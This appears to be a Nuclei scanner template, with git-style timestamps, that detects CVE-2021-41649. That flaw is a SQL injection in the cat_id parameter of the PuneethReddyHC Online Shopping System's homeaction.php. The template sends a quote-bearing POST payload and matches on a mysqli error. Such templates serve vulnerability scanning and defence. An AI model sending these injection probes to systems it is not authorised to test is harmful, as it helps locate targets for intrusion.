2021-10-03 10:46:22 +00:00
id : CVE-2021-41649
2021-10-02 15:22:04 +00:00
info :
2022-03-07 19:02:44 +00:00
name : PuneethReddyHC Online Shopping System homeaction.php SQL Injection
2021-10-02 15:22:04 +00:00
author : daffainfo
2021-10-08 13:40:21 +00:00
severity : critical
2022-03-07 19:02:44 +00:00
description : An unauthenticated SQL injection vulnerability exists in PuneethReddyHC Online Shopping System through the /homeaction.php cat_id parameter. Using a post request does not sanitize the user input.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version to mitigate this vulnerability.
2022-03-07 19:02:44 +00:00
reference :
- https://github.com/MobiusBinary/CVE-2021-41649
- https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system
- https://nvd.nist.gov/vuln/detail/CVE-2021-41649
2021-10-08 13:40:21 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-10-08 13:40:21 +00:00
cve-id : CVE-2021-41649
cwe-id : CWE-89
2023-10-29 11:57:59 +00:00
epss-score : 0.04045
epss-percentile : 0.91095
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:online-shopping-system-advanced_project:online-shopping-system-advanced:-:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : online-shopping-system-advanced_project
product : online-shopping-system-advanced
tags : cve,cve2021,sqli,injection
2021-10-02 15:22:04 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-02 15:22:04 +00:00
- method : POST
path :
- "{{BaseURL}}/homeaction.php"
2023-07-11 19:49:27 +00:00
2021-10-04 14:02:07 +00:00
body : "cat_id=4'&get_seleted_Category=1"
2021-10-02 15:22:04 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-10-02 15:22:04 +00:00
words :
2021-10-04 14:02:07 +00:00
- "text/html"
2021-10-02 15:22:04 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-10-02 15:22:04 +00:00
words :
- "Warning: mysqli_num_rows() expects parameter 1 to be"
2021-10-04 14:02:07 +00:00
- "xdebug-error xe-warning"
2021-10-02 15:22:04 +00:00
condition : and
- type : status
status :
- 200
2023-10-29 15:59:44 +00:00
# digest: 4b0a00483046022100aad91395072cb196681555c58c32bb8aff6c0fd653d76e5846f6608032421c26022100cd6965811cc44ca4a4068220e39f10f52aa506b76395fff2c4a4ccb7487a5ef3:922c64590222798bb761d5b6d8e72950